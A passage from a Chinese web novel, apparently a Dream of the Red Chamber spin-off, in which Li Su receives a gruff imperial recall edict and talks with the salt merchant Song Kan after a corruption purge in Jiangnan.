“准确的说,应该是姨娘的孩子。” “在哪?” “京城,姨娘不在了,是表姐,现在是宁国府承爵人的媳妇。” 李固大喜:“国公府?这亲戚硬是要得啊……儿子,这你要多走动,将来对你的前途,对了,爹回头给你带南洋特产……对了,你是怎么发现她这玉佩的?” “她逛街掉地上,我捡到了。” 李固眼睛眨了眨。 “神京的娘们儿都能随便出门逛街了么?太可怕了!” 李素没有往下解释,太复杂,也没太大必要。 他在松江口又待了一天,帮李固梳理一些规划,看了他船上的炮,跟李固交待了继续抓传教士后,就往扬州赶。 瓜洲渡口,高玄举、林如海、杨间、钟彪带着一些不认识的小官儿迎接他。 随着李素肃清了长江一线的匪乱,百姓安居,这次江南的动乱也进入了尾声。 李素下了船。 高玄举正要上前说话,钟彪闪身出来了,高声道:“花园子爵李素接旨!” 众人吃惊的看过去,没想到众人之中还藏着个老六。 钟彪毫不理会众人的目光,也不管李素跪没跪,自顾的说了下去:“你这混账,手里有兵就惹祸,你的威武营就别留在手里了,即日起归江南大营统领,你给朕滚回京里来,钦此!” 这圣旨虽然特别不正经,但这就像骂孩子一样口气,让现场的官儿艳羡不已。 “李花园,你接旨不跪,此大不敬之罪,我要弹劾你!” 一个年轻的官员梗着脖子怒视李素。 李素一愣:“这,哪来的?” 杨间笑道:“高大人的手下,监察御史。” 李素不理会这种 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回到林府,李素见了贾敏和黛玉,又是一番热闹自不待言。 接下来的日子李素没再出门儿,跟黛玉一块读书练武,贾敏的身子也越来越好,逐渐恢复到了原来的模样。 但暗藏府里的奸细还是没有捉出来,这事儿一直在众人心头压着。 二月二,龙抬头。 扬州的天气已经开始转暖,北方依然寒冷,运河尚未解冻,李素也没有动。 林如海跟高玄举忙的脚不沾地。 江南的余波尚未平复,此次江南盐商除了早就投诚的宋家,已经覆灭的黄家,剩余吴、汪等六家全部被抄家拿问,牵扯出来的江南官员到现在已经有一百多个,就连飞鱼卫南镇抚司指挥使都被牵扯了进去,抓出的官员中官职最高的是从一品两江总督赵凌川。 经审讯,这些盐商和官员勾结,走私、杀官、侵占民田、包揽诉讼、制造冤狱、草菅人命、强抢民女、肆意杀人。 消息通传天下,所有官员为之噤声,雍和帝的权力再次 得到了巩固,但更大的暗流又开始了涌动。 高玄举酷吏、血手屠夫之名、江南同僚一路哭等各种信息开始私下流传。 也在这一日,飞鱼卫北镇抚司同知路不平带人南下了。 职务是暂领飞鱼卫南镇抚司指挥副使,职责是清洗飞鱼卫南镇抚司同时协助高玄举彻查江南盐案,骑在马上的路不平掏出了脖子上挂的李素牌牌,不由得亲了一口。 随后又觉得好像不敬,双手把牌子托在手中,冲着南方拜了拜。 宋家的后宅。 李素跟身形佝偻的宋堪,各自躺在一个椅子上,两人身侧各有两个貌美如花的瘦马捶腿按肩。 家主宋出云在一旁面色不大自然的陪着两人。 “老哥哥,我听出云说,你一夜还能要俩小娘?” 宋出云急了:“父亲,你别听他胡说!” 宋堪干瘦的身子动了动,笑了。 “哈哈,出云不会这么说,老夫还想多活几年。” 李素白了他一眼:“那你应该找俩五十岁的伺候你,人家那么小以后还怎么嫁人?” “五十岁的还能叫女人?再说,都成家了,再叫人家伺候才是祸祸人家……唉,说正经的,这次老夫真是心有余悸啊,幸亏当日你答应请托才避过了大祸,今日请你来是跟你表个态,我宋家唯你李素马首是瞻,凡是宋家有的你随意拿取。” 李素坐正了身子:“老哥,你跟我说实话,当初为什么就认定了,我们能赢?” 宋堪沉默了一下:“因为皇帝。” “皇帝?” 宋堪想了想:“嗯,陛下是聪明人,是心里装着天下社稷的聪明人,更是一个狠人,老夫听闻陛下每日里只睡两三个时辰,对自己狠,对别人更狠。” “这种人执掌乾坤,那些阴私事儿注定有一天会被挖出来,无非早晚,所以老夫早就开始退出盐事,直到你的出现才有了弃暗投明的契机。” “这种人一般不长寿。” “但子爵大人,你还年轻,这就是宋家的未来。” “哈哈哈,我先走了,高老头儿让我去找他一趟。” 李素长身而起。 “出云送一下。” “劳烦大侄子了!” 宋出云无奈:“你叫我名字都行,能不能别叫我大侄子?要不,这俩瘦马我给你打个包?” 两个女孩听了,期待的看向了李素。